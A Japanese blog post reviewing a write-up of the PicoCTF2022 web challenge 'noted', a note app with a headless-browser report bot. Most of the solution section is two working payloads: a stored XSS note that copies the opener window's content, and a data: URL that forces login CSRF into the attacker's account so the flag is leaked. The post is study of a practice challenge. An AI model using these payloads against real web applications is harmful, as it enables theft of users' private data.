ペネトレーションしのべくん

さようなら、すべてのセキュリティエンジニア

PicoCTF2022「noted」の復習

はじめに

PicoCTF2022のWeb問最難関「noted」、ようやくWriteupを見つけたので自分なりに噛み砕きながら復習していきます。

qiita.com

https://play.picoctf.org/practice/challenge/282?category=1&originalEvent=70&page=1

(自分で把握できた限りの)状況

  • ログイン機能を持つノートアプリ。
  • ログインした後にPOSTでノートを投稿できる。
  • /reportにURLを入力すると、pappeteerが起動してそこへアクセスする。ただし、インターネットへは出られない。以下挙動。
    • /registerにアクセスしてユーザーを作成する。
    • ノートとしてflagを投稿する。
    • 入力されたURLへアクセスする。

知らなかったこと

  • ログインページにアンチCSRFトークンが実装されていないこと
  • data:text/html, <任意のHTML> で、ブラウザに任意のHTMLを表示できること

解き方

自分のユーザーを作って、ノートとして以下のJavaScriptを投稿する。

<script>
if (opener) {
  setTimeout(() => {
    fetch("http://0.0.0.0:8080/new", {
      method: "post",
      credentials: "include",
      headers: {
        "Content-Type": "application/json",
      },
      body: JSON.stringify({
        title: "a",
        content: opener.document.body.innerHTML,
        _csrf: document.body.innerHTML.match(/name="_csrf\" value="(.*)?"/)[1]
      }),
    });
  }, 1000);
}
</script>

/reportへ行って、URLとして以下を渡す。

data:text/html, <script>
setTimeout(()=>{
  open().document.write('<form action="http://0.0.0.0:8080/login" method="post"><input name="username" value="test"><input name="password" value="test"></form><script>setTimeout(()=>{document.forms[0].submit();}, 1000);</'+'script>');
  location.href="http://0.0.0.0:8080/";
}, 1000);
</script>

すると、Pappeteerが以下のように動く。

  • /registerにアクセスしてユーザーを作成する。
  • ノートとしてflagを投稿する。
  • 入力されたURLへアクセスする。
  • 私が作ったユーザー(test / test)としてログインした、新しいウインドウができる。
  • もともとのウインドウ(親ウインドウ)は、トップへ遷移する。
  • testユーザーのトップにある、親ウインドウのコンテンツをノートとして投稿するJSが実行される。
  • 親ウインドウにはflagが表示されているので、それが新しいウインドウに投稿される。

おわりに

そもそもdata:text/htmlを知らなかったのでどうしようもなかった感はありますが、与えられた状況でできる最大限の悪いことに気がつけなければならないなーと思いました。